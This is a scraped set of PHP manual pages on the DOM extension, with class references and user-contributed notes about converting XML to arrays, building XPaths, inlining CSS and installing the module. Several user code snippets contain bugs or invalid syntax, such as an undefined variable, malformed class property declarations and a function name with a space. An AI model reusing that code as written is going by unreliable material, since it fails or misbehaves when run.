                $xml_array[$nc->nodeName][] = xmlToArray($nc);
            }
            else
            {
                $xml_array[$nc->nodeName] = xmlToArray($nc);
            }
        }
        else
        {
            return utf8_decode($nc->nodeValue);
        }
    }
    return $xml_array;
}
Yanik <clonyara(at)ahoo(dot)com> 13-Mar-2007 11:40
I hate DOM model !
so I wrote dom2array simple function (simple for use):

function dom2array($node) {
  $res = array();
  print $node->nodeType.'<br/>';
  if($node->nodeType == XML_TEXT_NODE){
      $res = $node->nodeValue;
  }
  else{
      if($node->hasAttributes()){
          $attributes = $node->attributes;
          if(!is_null($attributes)){
              $res['@attributes'] = array();
              foreach ($attributes as $index=>$attr) {
                  $res['@attributes'][$attr->name] = $attr->value;
              }
          }
      }
      if($node->hasChildNodes()){
          $children = $node->childNodes;
          for($i=0;$i<$children->length;$i++){
              $child = $children->item($i);
              $res[$child->nodeName] = dom2array($child);
          }
      }
  }
  return $res;
}
Nevyn at N dot O dot S dot P dot A dot M dot emai dot it 10-Mar-2007 07:35
I wrote a couple of functions to:
 - create a DOMDocument from a file
 - parse the namespaces in it
 - create a XPath object with all the namespaces registered
 - load the schemalocations
 - validate the file on the main schema (the one without prefix)

It is useful for me, see if it is also for someone else!!

Giulio

function decodeNode($node)
{
    $out = $node->ownerDocument->saveXML($node);
    $re = "{^<((?:\\w*:)?\\w*)". //the tag name
    "[\\s\n\r]*((?:[\\s\n\r]*".
    "(?:\\w*:)?\\w+[\\s\n\r]*=[\\s\n\r]*". //possible attribute name
    "(?:\"[^\"]*\"|\'[^\']*\'))*)". //attribute value
    "[\\s\n\r]*>[\r\n]*".
    "((?:.*[\r\n]*)*)". //content
    "[\r\n]*</\\1>$}"; //closing tag
    preg_match($re, $out, $mat);
    return $mat;
}

function innerXml($node)
{
    $mat = decodeNode($node);
    return $mat[3];
}

function getnodeAttributes($node)
{
    $mat = decodeNode($node);
    $txt = $mat[2];
    $re = "{((?:\\w*:)?\\w+)[\\s\n\r]*=[\\s\n\r]*(\"[^\"]*\"|\'[^\']*\')}";
    preg_match_all($re, $txt, $mat);
    $att = array();
    for ($i=0; $i<count($mat[0]); $i++)
    {
        $value = $mat[2][$i];
        if ($value[0] == "\'" || $value[0] == "\"")
        {
            $len = strlen($value);
            $value = substr($value, 1, strlen($value)-2);
        }
        $att[ $mat[1][$i] ] = $value;
    }
    return $att;
}

function loadXml($file)
{
    $doc = new DOMDocument();
    $doc->load($file);
    //cerca l'attributo xmlns
    $xsi = false;
    $doc->namespaces = array();
    $doc->xpath = new DOMXPath($doc);

    $attr = getnodeAttributes($doc->documentElement);
    foreach ($attr as $name => $value)
    {
        if (substr($name,0,5) == "xmlns")
        {
            $uri = $value;
            $pre = $doc->documentElement->lookupPrefix($uri);
            if ($uri == "http://www.w3.org/2001/XMLSchema-instance")
                $xsi = $pre;
            $doc->namespaces[$pre] = $uri;
            if ($pre == "")
                $pre = "noname";
            $doc->xpath->registerNamespace($pre, $uri);
        }
    }

    if ($xsi)
    {
        $doc->schemaLocations = array();
        $lst = $doc->xpath->query("//@$xsi:schemaLocation");
        foreach($lst as $el)
        {
            $re = "{[\\s\n\r]*([^\\s\n\r]+)[\\s\n\r]*([^\\s\n\r]+)}";
            preg_match_all($re, $el->nodeValue, $mat);
            for ($i=0; $i<count($mat[0]); $i++)
            {
                $value = $mat[2][$i];
                $doc->schemaLocations[ $mat[1][$i] ] = $value;
            }
        }

        $olddir = getcwd();
        chdir(dirname($file));
        $schema = $doc->schemaLocations[$doc->namespaces[""]];
        if (substr($schema,0,7) == "file://")
        {
            $schema = substr($value,7);
        }
        if (!$doc->schemaValidate($schema))
            dbg()->err("Invalid file");
        chdir($olddir);
    }

    return $doc;
}
brian dot reynolds at risaris dot com 20-Feb-2007 01:09
I found the xml2array function below very useful, but there seems to be a bug in it. The $item variable was never getting set. I've expanded this out to be a bit more readable, and the corrected code is :

function xmlToArray($n)
{
    $return=array();

    foreach($n->childNodes as $nc){
        if( $nc->hasChildNodes() ){
            if( $n->firstChild->nodeName== $n->lastChild->nodeName&&$n->childNodes->length>1){
                $item = $n->firstChild;
                $return[$nc->nodeName][]=$this->xmlToArray($item);
            }
            else{
                 $return[$nc->nodeName]=$this->xmlToArray($nc);
            }
       }
       else{
           $return=$nc->nodeValue;
       }
    }
    return $return;
}
cooper at asu dot ntu-kpi dot kiev dot ua 22-Nov-2006 02:32
If you are using not object-oriented functions and it takes too much time to change them all (or you'll be replacing them later) then as a temporary decision can be used this modules:

For DOM XML:
http://alexandre.alapetite.net/doc-alex/domxml-php4-php5/

For XSLT:
http://alexandre.alapetite.net/doc-alex/xslt-php4-php5/
cormac at idreamproducts dot com 17-Oct-2006 03:48
Most email clients ignore stylesheets in HTML formatted emails.  The best way to ensure your HTML is formatted correctly by a broad spectrum of email clients, including webmail implementations as Gmail, is to use inline style attributes.  The following function uses DOM to parse an inline stylesheet, and will replace element class and id attributes with inline style attributes, and add inline style attributes for generic tag stylesheet rules.  It will remove the stylesheet and any used class and id attributes as these are defunct for most email clients.  It is a fairly lightweight function and does not support CSS inheritance, but will work for simple stylesheets e.g.:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>HTML EMAIL</title>
<style type="text/css">
body {
  margin: 10px 10px;
  font: 8pt arial;
  background: #fff;
  color: #000;
}
p {
  margin: 0 0 10px;
  line-height: 1.2em;
  text-align: justify;
}
p.centered {
  text-align: centre;
}
p#right {
  text-align: right;
}
</style>
</head>
<body>
<p>Sample text justified</p>
<p class="centered">Centered text here</p>
<p id="right">Right-aligned text</p>
</body>
</html>

Here's the function:

<?php
function parseStyleSheetfor Email($html)
{
  $doc = new DOMDocument;
  $doc->loadHTML($html);
  // grab inline stylesheet as DOM object
  $oStyle = $doc->getElementsByTagName('style')->item(0);
  // grab rule identifiers and rules
  preg_match_all('/^([-#._a-z0-9]+) ?\{(.*?)\}/ims', $oStyle->nodeValue, $aMatches, PREG_SET_ORDER);
  foreach ($aMatches as $aRule) {
    $rule_id = $aRule[1];
    // clean up rules
    $rule = str_replace(array("\r", "\n", '  ', '; '), array('', '', ' ', ';'), $aRule[2]);
    $rule = preg_replace(array('/^ /', '/;$/'), '', $rule);
    // generic rules
    if (!strstr($rule_id, '.') && !strstr($rule_id, '#')) {
      $items = $doc->getElementsByTagName($rule_id);
      // set style attribute equal to rule from stylesheet
      foreach ($items as $item) {
        // if there is already inline style append it to end of stylesheet rule
        $current_style = $item->getAttribute('style');
        if (!empty($current_style)) {
          $item->setAttribute('style', $rule . ';' . $current_style);
        } else {
          $item->setAttribute('style', $rule);
        }
      }
    // classes
    } elseif (strstr($rule_id, '.')) {
      list($rule_tag, $rule_class) = explode('.', $rule_id);
      $items = $doc->getElementsByTagName($rule_tag);
      foreach ($items as $item) {
        $class = $item->getAttribute('class');
        if ($class == $rule_class) {
          // if there is already inline style append it to end of stylesheet rule
          $current_style = $item->getAttribute('style');
          if (!empty($current_style)) {
            $item->setAttribute('style', $current_style . ';' . $rule);
          } else {
            $item->setAttribute('style', $rule);
          }
          // remove class as it won't be used now
          $item->removeAttribute('class');
        }
      }
    // ids
    } elseif (strstr($rule_id, '#')) {
      list($rule_tag, $id) = explode('#', $rule_id);
      $item = $doc->getElementById($id);
      $current_style = $item->getAttribute('style');
      if (!empty($current_style)) {
        $item->setAttribute('style', $current_style . ';' . $rule);
      } else {
        $item->setAttribute('style', $rule);
      }
      // remove class as it won't be used now
      $item->removeAttribute('id');
    }
  }
  // remove inline stylesheet
  $oStyle->parentNode->removeChild($oStyle);
  return $doc->saveHTML();
}
?>
sean at lookin3d dot com 17-Aug-2006 10:21
$xmlDoc=<<<XML
<?xml version="1.0"?>
<methodCall>
   <methodName>examples.getStateName</methodName>
   <params>
      <param>
         <value><i4>41</i4></value>
         </param>
      </params>
   </methodCall>
XML;

$xml= new DOMDocument();
$xml->preserveWhiteSpace=false;
$xml->loadXML($xmlDoc);
print_r(xml2array($xml));

function xml2array($n)
{
    $return=array();
    foreach($n->childNodes as $nc)
    ($nc->hasChildNodes())
    ?($n->firstChild->nodeName== $n->lastChild->nodeName&&$n->childNodes->length>1)
    ?$return[$nc->nodeName][]=xml2array($item)
    :$return[$nc->nodeName]=xml2array($nc)
    :$return=$nc->nodeValue;
    return $return;
}
simlee at indiana dot edu 29-Dec-2005 12:16
The project I'm currently working on uses XPaths to dynamically navigate through chunks of an XML file.  I couldn't find any PHP code on the net that would build the XPath to a node for me, so I wrote my own function.  Turns out it wasn't as hard as I thought it might be (yay recursion), though it does entail using some PHP shenanigans...

Hopefully it'll save someone else the trouble of reinventing this wheel.

<?php
    function getNodeXPath( $node ) {
        // REMEMBER THAT XPATHS USE BASE-1 INSTEAD OF BASE-0!!!

        // Get the index for the current node by looping through the siblings.
        $parentNode = $node->parentNode;
        if( $parentNode != null ) {
            $nodeIndex = 0;
            do {
                $testNode = $parentNode->childNodes->item( $nodeIndex );
                $nodeName = $testNode->nodeName;
                $nodeIndex++;

                // PHP trickery!  Here we create a counter based on the node
                //  name of the test node to use in the XPath.
                if( !isset( $$nodeName ) ) $$nodeName = 1;
                else $$nodeName++;

                // Failsafe return value.
                if( $nodeIndex > $parentNode->childNodes->length ) return( "/" );
            } while( !$node->isSameNode( $testNode ) );

            // Recursively get the XPath for the parent.
            return( getNodeXPath( $parentNode ) . "/{$node->nodeName}[{$$nodeName}]" );
        } else {
            // Hit the root node!  Note that the slash is added when
            //  building the XPath, so we return just an empty string.
            return( "" );
        }
    }
?>
johanwthijs-at-hotmail-dot-com 14-Dec-2005 06:25
Being an experienced ASP developer I was wondering how to replace textual content of a node (with msxml this is simply acheived by setting the 'text' property of a node). Out of frustration I started to play around with SimpleXml but I could not get it to work in combination with xPath.

I took me a lot of time to find out so I hope this helps others:

function replaceNodeText($objXml, $objNode, $strNewContent){
    /*
    This function replaces a node's string content with strNewContent
    */
    $objNodeListNested = &$objNode->childNodes;
    foreach ( $objNodeListNested as $objNodeNested ){
         if ($objNodeNested->nodeType == XML_TEXT_NODE)$objNode->removeChild ($objNodeNested);
    }

    $objNode->appendChild($objXml->createTextNode($strNewContent));
}

$objXml= new DOMDocument();
$objXml->loadXML('<root><node id="1">bla</note></root>');
$objXpath = new domxpath($objXml);

$strXpath="/root/node[@id='1']";
$objNodeList = $objXpath ->query($strXpath);
foreach ($objNodeList as $objNode){
//pass the node by reference
replaceNodeText($objXml, &$objNode, $strImportedValue);
}
mark at vectrex dot org dot uk 17-Nov-2005 02:10
Note that these DOM functions expect (and presumably return) all their data in UTF-8 character encoding, regardless of what PHP's current encoding is. This means that text nodes, attribute values etc, should be in utf8.

This applies even if you're generating an XML document which is not ultimately in utf8.

Mark
toby at tobiasly dot com 22-Oct-2005 11:08
This module is not included by default either in the CentOS 4 "centosplus" repository. For those using PHP5 on CentOS 4, a simple "yum --enablerepo=centosplus install php-xml" will do the trick (this will install both the XML and DOM modules).
pes_cz 29-Sep-2005 12:32
When I tried to parse my XHTML Strict files with DOM extension, it couldn't understand xhtml entities (like &copy;). I found post about it here (14-Jul-2005 09:05) which adviced to add resolveExternals = true, but it was very slow. There was some small note about xml catalogs but without any glue. Here it is:

XML catalogs is something like cache. Download all needed dtd's to /etc/xml, edit file /etc/xml/catalog and add this line: <public publicId="-//W3C//DTD XHTML 1.0 Strict//EN" uri="file:///etc/xml/xhtml1-strict.dtd" />

Thats all. Thanks to http://www.whump.com/moreLikeThis/link/03815
amir.laherATcomplinet.com 22-Aug-2005 05:09
This particular W3C page provides invaluable documentation for the DOM classes implemented in php5 (via libxml2). It fills in plenty of php.net's gaps:

http://www.w3.org/TR/DOM-Level-2-Core/core.html

Some key examples:
* concise summary of the class heirachy (1.1.1)
* clarification that DOM level 2 doesn't allow for population of internal DTDs
* explanation of DOMNode->normalize()
* explanation of the DOMImplementation class

The interfaces are described in OMG's Interface Definition Language
aidan at php dot net 19-Jul-2005 06:04
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:

DomDocument->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);

DomDocument->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
aidan at php dot net 18-Jul-2005 08:27
When dealing with validation or loading, the output errors can be quite annoying.

PHP 5.1 introduces libxml_get_errors().

http://php.net/libxml_get_errors
php at webdevelopers dot cz 14-Jul-2005 12:05
[Editor's Note: If you're using entities, then you have no choice. XML Catalogs can speed DTD resolution.]

Never use

$dom->resolveExternals=true;

when parsing XHTML document that has the DOCTYPE declaration with DTD URL specified in it.

Otherwise parsing the XHTML with DOCTYPE like this one:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

will result in PHP/DOM downloading the DTD file from W3C site when parsing your document. It will add extra delay to your script - I experienced that $dom->load()'s total time was from 1 to 16 seconds.

elixon
spammable69 at hotmail dot com 11-Apr-2005 10:18
I wrote a framework to implement the StyleSheet interfaces as specified on the W3C website.  The code is written in PHP, and is NOT a complete implementation.  Use it how ya like.  I was planning on adding the CSSStyleSheet interfaces as well.  Feel free to ask.

<?
    class StyleSheetList {
        public length;
        private self;

        function __construct ( ) {
            $this->self = array();
        }

        function __get($property, $&ret) {
            if($property == 'length')
                $ret = count($this->self);
            return true;
        }

        function __set($property, $val) {
            if($property == 'length')
                return true;
        }

        function item( $index ) {
            return $this->self[$index];
        }
    }

    class MediaList extends StyleSheetList {

        function appendMedium ( $newMedium ) {
            array_push($this->self, $newMedium);
        }

        function deleteMedium ( $oldMedium ) {
            foreach($this->self as $item) {
                if( $item == $oldMedium ) {
                    $item = $this->self[ $this->length-1 ];
                    array_pop($this->self);
                    break;
                }
            }
        }
    }

    class DocumentStyle {
        public styleSheets;

        function __construct ( ) {
            $this->styleSheets = new StyleSheetList();
        }

        function __set($property, $val) {
            if($property == 'styleSheets')
                return true;
        }
    }

    class LinkStyle {
        public sheet;

        function __construct () {
            $this->sheet = new StyleSheet();
        }

        function __set($property, $val) {
            if($property == 'sheet')
                return true;
        }
    }

    class StyleSheet {
        public type;
        public disabled;
        public ownerNode;
        public parentStyleSheet;
        public href;
        public title;
        public media;

        function __construct( $type, $disabled, $ownerNode, $parentStyleSheet, $href, $title){
            $this->type = $type;
            $this->disabled = $disabled;
            $this->media = new MediaList();
            $this->ownerNode = $ownerNode;
            $this->parentStyleSheet = $parentStyleSheet;
            $this->href = $href;
            $this->title = $title;
        }
    }
?>

Only contactable via http://murpsoft.com/contact.html


简介

The DOM extension allows you to operate on XML documents through the DOM API with PHP.

Note:

The DOM extension uses UTF-8 encoding. Use utf8_encode() and utf8_decode() to work with texts in ISO-8859-1 encoding or Iconv for other encodings.

User Contributed Notes

chealer at gmail dot com 10-Jul-2018 09:15
Despite its name, this extension is not designed for generic DOM manipulations, but specifically for XHTML and HTML. Trying to load different types of XML documents will cause them to be altered, unless they are valid HTML documents.


安装／配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

d at duane dot com 10-May-2012 05:02
On Fedora 16, you can use
yum -y install php-xml
and then be sure to add
extension=dom.so
in the php.ini file for this to work.
Anonymous 05-Oct-2011 07:40
In Redhat 5.5 using php53 you need to not only install php53-xml but php53-devel as well to install DOMDocument
eugenekay at kashpureff dot org 24-Jan-2011 10:08
Certain Linux distributions do not have this extension included in the minimum PHP package. It can usually be found in one of the "optional" php-* packages.

For CentOS, you will need to run "yum install php-xml", which provides this extension.
Sergey A. 05-Apr-2010 05:38
don't forget
extension=dom.so
in extensions.ini
on freebsd
z1mok at yahoo dot com 22-Apr-2009 05:45
You need the DOM MODULE installed if you want to use Youtube Data Api with the Zend GData Library.

Otherwise you cannot obtain a valid Upload Form Token.


需求

此扩展需要 libxml PHP 扩展。这表示需要使用 --enable-libxml ，尽管这将隐式完成因为 libxml 是缺省开启的。

User Contributed Notes

david at brayworth dot com dot au 12-Jun-2011 05:55
Under Fedora packaging ssystems you will need php-xml
 => yum install php-xml
James 18-Apr-2010 10:58
You also need to check libxml is installed. Check phpinfo() > Dom to see if it is. Bug report filed to get this added here.


安装

此扩展默认为启用,编译时可通过下列选项禁用： --disable-dom

User Contributed Notes

smleimberg at NOSPAM dot gmail dot com 26-Dec-2017 10:08
For Ubuntu:
sudo apt-get install php7.0-xml

For Fedora:
yum -y install php-xml


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

XML constants
Constant | Value | Description
XML_ELEMENT_NODE (integer) | 1 | Node is a DOMElement
XML_ATTRIBUTE_NODE (integer) | 2 | Node is a DOMAttr
XML_TEXT_NODE (integer) | 3 | Node is a DOMText
XML_CDATA_SECTION_NODE (integer) | 4 | Node is a DOMCharacterData
XML_ENTITY_REF_NODE (integer) | 5 | Node is a DOMEntityReference
XML_ENTITY_NODE (integer) | 6 | Node is a DOMEntity
XML_PI_NODE (integer) | 7 | Node is a DOMProcessingInstruction
XML_COMMENT_NODE (integer) | 8 | Node is a DOMComment
XML_DOCUMENT_NODE (integer) | 9 | Node is a DOMDocument
XML_DOCUMENT_TYPE_NODE (integer) | 10 | Node is a DOMDocumentType
XML_DOCUMENT_FRAG_NODE (integer) | 11 | Node is a DOMDocumentFragment
XML_NOTATION_NODE (integer) | 12 | Node is a DOMNotation
XML_HTML_DOCUMENT_NODE (integer) | 13 |
XML_DTD_NODE (integer) | 14 |
XML_ELEMENT_DECL_NODE (integer) | 15 |
XML_ATTRIBUTE_DECL_NODE (integer) | 16 |
XML_ENTITY_DECL_NODE (integer) | 17 |
XML_NAMESPACE_DECL_NODE (integer) | 18 |
XML_ATTRIBUTE_CDATA (integer) | 1 |
XML_ATTRIBUTE_ID (integer) | 2 |
XML_ATTRIBUTE_IDREF (integer) | 3 |
XML_ATTRIBUTE_IDREFS (integer) | 4 |
XML_ATTRIBUTE_ENTITY (integer) | 5 |
XML_ATTRIBUTE_NMTOKEN (integer) | 7 |
XML_ATTRIBUTE_NMTOKENS (integer) | 8 |
XML_ATTRIBUTE_ENUMERATION (integer) | 9 |
XML_ATTRIBUTE_NOTATION (integer) | 10 |
DOMException constants
Constant | Value | Description
DOM_PHP_ERR (integer) | 0 | Error code not part of the DOM specification. Meant for PHP errors.
DOM_INDEX_SIZE_ERR (integer) | 1 | If index or size is negative, or greater than the allowed value.
DOMSTRING_SIZE_ERR (integer) | 2 | If the specified range of text does not fit into a DOMString.
DOM_HIERARCHY_REQUEST_ERR (integer) | 3 | If any node is inserted somewhere it doesn't belong
DOM_WRONG_DOCUMENT_ERR (integer) | 4 | If a node is used in a different document than the one that created it.
DOM_INVALID_CHARACTER_ERR (integer) | 5 | If an invalid or illegal character is specified, such as in a name.
DOM_NO_DATA_ALLOWED_ERR (integer) | 6 | If data is specified for a node which does not support data.
DOM_NO_MODIFICATION_ALLOWED_ERR (integer) | 7 | If an attempt is made to modify an object where modifications are not allowed.
DOM_NOT_FOUND_ERR (integer) | 8 | If an attempt is made to reference a node in a context where it does not exist.
DOM_NOT_SUPPORTED_ERR (integer) | 9 | If the implementation does not support the requested type of object or operation.
DOM_INUSE_ATTRIBUTE_ERR (integer) | 10 | If an attempt is made to add an attribute that is already in use elsewhere.
DOM_INVALID_STATE_ERR (integer) | 11 | If an attempt is made to use an object that is not, or is no longer, usable.
DOM_SYNTAX_ERR (integer) | 12 | If an invalid or illegal string is specified.
DOM_INVALID_MODIFICATION_ERR (integer) | 13 | If an attempt is made to modify the type of the underlying object.
DOM_NAMESPACE_ERR (integer) | 14 | If an attempt is made to create or change an object in a way which is incorrect with regard to namespaces.
DOM_INVALID_ACCESS_ERR (integer) | 15 | If a parameter or an operation is not supported by the underlying object.
DOM_VALIDATION_ERR (integer) | 16 | If a call to a method such as insertBefore or removeChild would make the Node invalid with respect to "partial validity", this exception would be raised and the operation would not be done.

User Contributed Notes

There are no user contributed notes for this page.


范例

Many examples in this reference require an XML file. We will use book.xml that contains the following:

Example #1 book.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.1.2//EN"
 "http://www.oasis-open.org/docbook/xml/4.1.2/docbookx.dtd" [
]>
<book id="listing">
 <title>My lists</title>
 <chapter id="books">
  <title>My books</title>
  <para>
   <informaltable>
    <tgroup cols="4">
     <thead>
      <row>
       <entry>Title</entry>
       <entry>Author</entry>
       <entry>Language</entry>
       <entry>ISBN</entry>
      </row>
     </thead>
     <tbody>
      <row>
       <entry>The Grapes of Wrath</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>0140186409</entry>
      </row>
      <row>
       <entry>The Pearl</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>014017737X</entry>
      </row>
      <row>
       <entry>Samarcande</entry>
       <entry>Amine Maalouf</entry>
       <entry>fr</entry>
       <entry>2253051209</entry>
      </row>
      <!-- TODO: I have a lot of remaining books to add.. -->
     </tbody>
    </tgroup>
   </informaltable>
  </para>
 </chapter>
</book>

User Contributed Notes

There are no user contributed notes for this page.


The DOMAttr class

(PHP 5, PHP 7)

简介

DOMAttr represents an attribute in the DOMElement object.

类摘要

DOMAttr extends DOMNode {
/* 属性 */
public readonly string $name ;
public readonly DOMElement $ownerElement ;
public readonly bool $schemaTypeInfo ;
public readonly bool $specified ;
public string $value ;
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public __construct ( string $name [, string $value ] )
public isId ( void ) : bool
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

name

The name of the attribute

ownerElement

The element which contains the attribute

schemaTypeInfo

Not implemented yet, always is NULL

specified

Not implemented yet, always is NULL

value

The value of the attribute

参见

  • » W3C specification of Attr

Table of Contents

  • DOMAttr::__construct — Creates a new DOMAttr object
  • DOMAttr::isId — Checks if attribute is a defined ID

User Contributed Notes

greubel at nkey dot de 06-Dec-2014 03:04
Please take care on debugging DOMAttr related code. This will cause an E_WARNING that retrieving schemaTypeInfo attribute is not implemented yet. An IDE like Eclipse will inspect the object and its member elements. In conjunction with registered error handlers, which will translate the E_WARNING into Exception your debugging session will end unexpectedly. This has caused me some trouble while debugging my PHPUnit test case in eclipse using "Makegood" plugin.

A possible workarround is to deactivate the error handling during debugging using error_reporting(0). Remove the statement after finishing your debugging session.

Notable ticket in Bugtracker: https://bugs.php.net/bug.php?id=61858
And a xdebug tracker ticket: http://bugs.xdebug.org/view.php?id=910
chregu at php dot net 23-Mar-2009 11:20
See also the properties from the inherited class DOMNode ( http://php.net/manual/en/class.domnode.php ), eg. namespaceURI, prefix, localName, etc, especially if you have to deal with namespaced attributes


Creates a new DOMAttr object

  • ? DOMAttr
  • DOMAttr::isId ?
  • PHP Manual
  • DOMAttr
  • Creates a new DOMAttr object

DOMAttr::__construct

(PHP 5, PHP 7)

DOMAttr::__construct — Creates a new DOMAttr object

说明

public DOMAttr::__construct ( string $name [, string $value ] )

Creates a new DOMAttr object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writable node, use DOMDocument::createAttribute.

参数

name

The tag name of the attribute.

value

The value of the attribute.

范例

Example #1 Creating a new DOMAttr object

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$attr = $element->setAttributeNode(new DOMAttr('attr', 'attrvalue'));
echo $dom->saveXML();

?>

以上例程会输出：

<?xml version="1.0" encoding="utf-8"?>
<root attr="attrvalue" />

参见

  • DOMDocument::createAttribute() - Create new attribute

User Contributed Notes

Anonymous 18-Sep-2014 10:48
The output should be:

<?xml version="1.0" encoding="iso-8859-1"?>
<root attr="attrvalue"/>


Checks if attribute is a defined ID

  • ? DOMAttr::__construct
  • DOMCdataSection ?
  • PHP Manual
  • DOMAttr
  • Checks if attribute is a defined ID

DOMAttr::isId

(PHP 5, PHP 7)

DOMAttr::isId — Checks if attribute is a defined ID

说明

public DOMAttr::isId ( void ) : bool

This function checks if the attribute is a defined ID.

According to the DOM standard this requires a DTD which defines the attribute ID to be of type ID. You need to validate your document with DOMDocument::validate or DOMDocument::validateOnParse before using this function.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 DOMAttr::isId() Example

<?php

$doc = new DomDocument;

// We need to validate our document before refering to the id
$doc->validateOnParse = true;
$doc->Load('book.xml');

// We retrieve the attribute named id of the chapter element
$attr = $doc->getElementsByTagName('chapter')->item(0)->getAttributeNode('id');

var_dump($attr->isId()); // bool(true)

?>

User Contributed Notes

There are no user contributed notes for this page.


The DOMCdataSection class

(PHP 5, PHP 7)

简介

The DOMCdataSection inherits from DOMText for textural representation of CData constructs.

类摘要

DOMCdataSection extends DOMText {
/* 继承的属性 */
readonly public string $wholeText ;
public string $data ;
readonly public int $length ;
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* Methods */
public __construct ( string $value )
/* Inherited methods */
public DOMText::isElementContentWhitespace ( void ) : bool
public DOMText::isWhitespaceInElementContent ( void ) : bool
public DOMText::splitText ( int $offset ) : DOMText
public DOMCharacterData::appendData ( string $data ) : void
public DOMCharacterData::deleteData ( int $offset , int $count ) : void
public DOMCharacterData::insertData ( int $offset , string $data ) : void
public DOMCharacterData::replaceData ( int $offset , int $count , string $data ) : void
public DOMCharacterData::substringData ( int $offset , int $count ) : string
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

Table of Contents

  • DOMCdataSection::__construct — Constructs a new DOMCdataSection object

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new DOMCdataSection object

  • ? DOMCdataSection
  • DOMCharacterData ?
  • PHP Manual
  • DOMCdataSection
  • Constructs a new DOMCdataSection object

DOMCdataSection::__construct

(PHP 5, PHP 7)

DOMCdataSection::__construct — Constructs a new DOMCdataSection object

说明

public DOMCdataSection::__construct ( string $value )

Constructs a new CDATA node. This works like the DOMText class.

参数

value

The value of the CDATA node. If not supplied, an empty CDATA node is created.

范例

Example #1 Creating a new DOMCdataSection object

<?php

$dom = new DOMDocument('1.0', 'utf-8');
$element = $dom->appendChild(new DOMElement('root'));
$text = $element->appendChild(new DOMCdataSection('root value'));
echo $dom->saveXML();

?>

以上例程会输出：

<?xml version="1.0" encoding="utf-8"?>
<root><![CDATA[root value]]></root>

参见

  • DOMText::__construct() - Creates a new DOMText object
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

There are no user contributed notes for this page.


The DOMCharacterData class

